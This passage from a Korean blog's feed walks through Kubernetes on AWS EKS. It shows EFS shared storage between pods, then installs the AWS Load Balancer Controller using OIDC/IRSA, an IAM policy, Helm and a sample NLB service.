&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 4.13.25.png&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cY1OI1/btsFU6sYl1V/EKgYz1gKYi3FzbEgLeHhvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cY1OI1/btsFU6sYl1V/EKgYz1gKYi3FzbEgLeHhvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cY1OI1/btsFU6sYl1V/EKgYz1gKYi3FzbEgLeHhvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcY1OI1%2FbtsFU6sYl1V%2FEKgYz1gKYi3FzbEgLeHhvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;321&quot; data-filename=&quot;스크린샷 2024-03-20 오후 4.13.25.png&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS EFS를 사용하는 app1과 app2를 생성했을 때 동일한 공용 저장소(/data)를 사용하는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710919300977&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# PVC 생성 및 확인
cat claim.yaml | yh
kubectl apply -f claim.yaml
kubectl get pvc

# 파드 생성 및 연동 : 파드 내에 /data 데이터는 EFS를 사용
cat pod1.yaml pod2.yaml | yh
kubectl apply -f pod1.yaml,pod2.yaml

# 파드 정보 확인 : PV에 5Gi 와 파드 내에서 확인한 NFS4 볼륨 크리 8.0E의 차이는 무엇? 파드에 6Gi 이상 저장 가능한가?
kubectl get pods
kubectl exec -ti app1 -- sh -c &quot;df -hT -t nfs4&quot;
kubectl exec -ti app2 -- sh -c &quot;df -hT -t nfs4&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 4.21.00.png&quot; data-origin-width=&quot;845&quot; data-origin-height=&quot;117&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bS5jft/btsFX05WyiH/thIbmP7VEVHeNWD6dtOecK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bS5jft/btsFX05WyiH/thIbmP7VEVHeNWD6dtOecK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bS5jft/btsFX05WyiH/thIbmP7VEVHeNWD6dtOecK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbS5jft%2FbtsFX05WyiH%2FthIbmP7VEVHeNWD6dtOecK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;845&quot; height=&quot;117&quot; data-filename=&quot;스크린샷 2024-03-20 오후 4.21.00.png&quot; data-origin-width=&quot;845&quot; data-origin-height=&quot;117&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1710919634528&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 공유 저장소 저장 동작 확인
tree /mnt/myefs              # 작업용EC2에서 확인
tail -f /mnt/myefs/out1.txt  # 작업용EC2에서 확인
kubectl exec -ti app1 -- tail -f /data/out1.txt
kubectl exec -ti app2 -- tail -f /data/out2.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 4.27.37.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9wwm4/btsFWCxTPLs/TmM4kgQQHjizAMeOpavCC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9wwm4/btsFWCxTPLs/TmM4kgQQHjizAMeOpavCC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9wwm4/btsFWCxTPLs/TmM4kgQQHjizAMeOpavCC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9wwm4%2FbtsFWCxTPLs%2FTmM4kgQQHjizAMeOpavCC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;141&quot; data-filename=&quot;스크린샷 2024-03-20 오후 4.27.37.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 CSI Driver에서 제공되는 스토리지의 Add-on은 EBS와 EFS뿐만 아니라 다양하게 제공되고 있으니 필요한 내용을 확인해보시기 바랍니다.&lt;/p&gt;
&lt;figure id=&quot;og_1710919795773&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Storage - Amazon EKS&quot; data-og-description=&quot;Thanks for letting us know this page needs work. We're sorry we let you down. If you've got a moment, please tell us how we can make the documentation better.&quot; data-og-host=&quot;docs.aws.amazon.com&quot; data-og-source-url=&quot;https://docs.aws.amazon.com/eks/latest/userguide/storage.html&quot; data-og-url=&quot;https://docs.aws.amazon.com/eks/latest/userguide/storage.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/storage.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.aws.amazon.com/eks/latest/userguide/storage.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Storage - Amazon EKS&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Thanks for letting us know this page needs work. We're sorry we let you down. If you've got a moment, please tell us how we can make the documentation better.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.aws.amazon.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/7</guid>
      <comments>https://imxsuu.tistory.com/7#entry7comment</comments>
      <pubDate>Mon, 18 Mar 2024 16:39:38 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] AWS LoadBalancer Controller &amp;amp; Ingress</title>
      <link>https://imxsuu.tistory.com/5</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWS LoadBalancer Controller&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온프레미스의 로드밸런서는 NLB 인스턴스 유형으로 iptables 분산룰을 통해서 각 파드에 전달되게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAu84W/btsFQwxhXPF/joKlshuieUVKPqUkeZR9zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAu84W/btsFQwxhXPF/joKlshuieUVKPqUkeZR9zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAu84W/btsFQwxhXPF/joKlshuieUVKPqUkeZR9zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAu84W%2FbtsFQwxhXPF%2FjoKlshuieUVKPqUkeZR9zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1157&quot; height=&quot;362&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 AWS LoadBalancer는 AWS VPC CNI로 인해 파드와의 직접적인 통신이 가능합니다. 하지만 로드밸런서는 AWS의 서비스이고 Pod는 쿠버네티스의 요소이기 때문에 서로의 존재를 알아차릴 수 없습니다. 따라서 AWS NLB에 파드의 IP를 동적으로 전달해줄 &lt;b&gt;Load Balancer Controller&lt;/b&gt;가 필요하며 이 때에는 여러가지 권한이 필요하게 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r4cjf/btsFQwD4zsV/DUR4tKnQJouCEliBIeepwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r4cjf/btsFQwD4zsV/DUR4tKnQJouCEliBIeepwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r4cjf/btsFQwD4zsV/DUR4tKnQJouCEliBIeepwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr4cjf%2FbtsFQwD4zsV%2FDUR4tKnQJouCEliBIeepwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1146&quot; height=&quot;429&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS LoadBalancer Controller를 배포해보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710491733585&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# OIDC 확인
aws eks describe-cluster --name $CLUSTER_NAME --query &quot;cluster.identity.oidc.issuer&quot; --output text
aws iam list-open-id-connect-providers | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.35.15.png&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LWKvp/btsFQxC0mF9/sBkKKKV3BkNolh4yJNKbVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LWKvp/btsFQxC0mF9/sBkKKKV3BkNolh4yJNKbVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LWKvp/btsFQxC0mF9/sBkKKKV3BkNolh4yJNKbVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLWKvp%2FbtsFQxC0mF9%2FsBkKKKV3BkNolh4yJNKbVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1218&quot; height=&quot;279&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.35.15.png&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EKS 콘솔 화면에서 같은 URL이 확인되어야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.32.39.png&quot; data-origin-width=&quot;2062&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOEzQl/btsFQsn85fz/5trdtmBXtvVAOzSATpLFE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOEzQl/btsFQsn85fz/5trdtmBXtvVAOzSATpLFE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOEzQl/btsFQsn85fz/5trdtmBXtvVAOzSATpLFE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOEzQl%2FbtsFQsn85fz%2F5trdtmBXtvVAOzSATpLFE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2062&quot; height=&quot;670&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.32.39.png&quot; data-origin-width=&quot;2062&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS LoadBalancer Controller도 파드로써 실제 쿠버네티스 영역에 있지만 AWS에 있는 리소스를 제어하기 위해 IAM 정책이 필요합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710491864066&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# IAM Policy (AWSLoadBalancerControllerIAMPolicy) 생성
curl -O https://raw.githubusercontent.com/kubernetes-sigs/aws-load-balancer-controller/v2.5.4/docs/install/iam_policy.json
aws iam create-policy --policy-name AWSLoadBalancerControllerIAMPolicy --policy-document file://iam_policy.json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 IAM 정책을 통해 AWS LoadBalancer Controller가 Action들을 사용할 수 있어야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.39.15.png&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;749&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCOaSH/btsFPFIuX5z/i1ik02V7tYS2yrETzwSrEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCOaSH/btsFPFIuX5z/i1ik02V7tYS2yrETzwSrEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCOaSH/btsFPFIuX5z/i1ik02V7tYS2yrETzwSrEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCOaSH%2FbtsFPFIuX5z%2Fi1ik02V7tYS2yrETzwSrEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;749&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.39.15.png&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;749&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;IRSA Workflow&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHL3Sc/btsFRlQ1Yk6/QhBSAkPG5eFjYkJwsrWsB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHL3Sc/btsFRlQ1Yk6/QhBSAkPG5eFjYkJwsrWsB1/img.png&quot; data-alt=&quot;출처 :https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHL3Sc/btsFRlQ1Yk6/QhBSAkPG5eFjYkJwsrWsB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHL3Sc%2FbtsFRlQ1Yk6%2FQhBSAkPG5eFjYkJwsrWsB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;426&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;IRSA(IAM Role for Service Account) : 쿠버네티스의 serviceaccount를 사용하여 pod의 권한을 IAM Role로 제어할 수 있도록 하는 기능을 말합니다. serviceaccount는 AWS의 자원이 아닌데 어떻게 IAM Role을 할당할 수 있는 걸까요? 바로 OIDC(OpenID Connect)가 그 역할을 해주기 때문입니다.&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;OICD(OpenID Connect) : Google 등의 IdP(ID 공급자)에 로그인할 수 있도록 지원하는 표준 인증 프로토콜입니다. 권한허가 프로토콜인 OAuth 2.0 기술을 이용하여 만들어진 인증 레이어로 JSON 포맷을 이용하여 RESTful API 형식을 사용하여 인증을 하게 됩니다. OIDC를 사용하면 손쉽게 외부 서비스를 통해 사용자 인증을 구현할 수 있게 됩니다.&amp;nbsp;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS LoadBalancer Controller 에 IRSA 세팅이 필요합니다. 쿠버네티스와 AWS간의 권한을 맵핑해서 맞춰주는 것 정도로 이해하고 보안 챕터에서 더 상세히 다룰 예정입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710492248611&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# AWS Load Balancer Controller를 위한 ServiceAccount를 생성 &amp;gt;&amp;gt; 자동으로 매칭되는 IAM Role 을 CloudFormation 으로 생성됨!
# IAM 역할 생성. AWS Load Balancer Controller의 kube-system 네임스페이스에 aws-load-balancer-controller라는 Kubernetes 서비스 계정을 생성하고 IAM 역할의 이름으로 Kubernetes 서비스 계정에 주석을 답니다
eksctl create iamserviceaccount --cluster=$CLUSTER_NAME --namespace=kube-system --name=aws-load-balancer-controller --role-name AmazonEKSLoadBalancerControllerRole \
--attach-policy-arn=arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts --approve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CloudFormation 콘솔에서 새로운 스택이 생성된 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.45.56.png&quot; data-origin-width=&quot;2115&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E8epC/btsFP66LAMk/WoBJBxJ5kljnxUJ4zcSP61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E8epC/btsFP66LAMk/WoBJBxJ5kljnxUJ4zcSP61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E8epC/btsFP66LAMk/WoBJBxJ5kljnxUJ4zcSP61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE8epC%2FbtsFP66LAMk%2FWoBJBxJ5kljnxUJ4zcSP61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2115&quot; height=&quot;481&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.45.56.png&quot; data-origin-width=&quot;2115&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Helm Chart를 통해 AWS LoadBalancer Controller 를 설치합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710492497804&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Helm Chart로 AWS LoadBalancer Controller 설치
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;network 유형의 로드 밸런서가 프로비저닝 중인 모습을 확인할 수 있으며 함께 생성된 CRD 중 targetgroupbindings와 ingressclassparams는 AWS 대상 타켓과 관련된 리소스를 생성하면 쿠버네티스에서 역으로 AWS에 있는 대상을 수정할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.50.46.png&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vTY8G/btsFRa1EGv9/OWYlUWV9705CyjTF9KVed1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vTY8G/btsFRa1EGv9/OWYlUWV9705CyjTF9KVed1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vTY8G/btsFRa1EGv9/OWYlUWV9705CyjTF9KVed1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvTY8G%2FbtsFRa1EGv9%2FOWYlUWV9705CyjTF9KVed1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;164&quot; data-filename=&quot;스크린샷 2024-03-15 오후 5.50.46.png&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.03.53 PM.png&quot; data-origin-width=&quot;2240&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwpdkw/btsFQQ34NeQ/FET5OJW9aaj63kGKNt01Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwpdkw/btsFQQ34NeQ/FET5OJW9aaj63kGKNt01Gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwpdkw/btsFQQ34NeQ/FET5OJW9aaj63kGKNt01Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwpdkw%2FbtsFQQ34NeQ%2FFET5OJW9aaj63kGKNt01Gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2240&quot; height=&quot;662&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.03.53 PM.png&quot; data-origin-width=&quot;2240&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS LoadBalancer Controller(NLB)를 사용하는 서비스/파드 배포 테스트를 진행해보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710565142419&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 작업용 EC2 - 디플로이먼트 &amp;amp; 서비스 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/2/echo-service-nlb.yaml
cat echo-service-nlb.yaml | yh
kubectl apply -f echo-service-nlb.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드의 IP와 로드 밸런서에 등록된 대상의 IP가 같은 모습을 확인할 수 있습니다. 이는 AWS VPC CNI를 사용하여 바이패스로 파드의 IP에 접근이 가능하기 때문입니다.&lt;/p&gt;
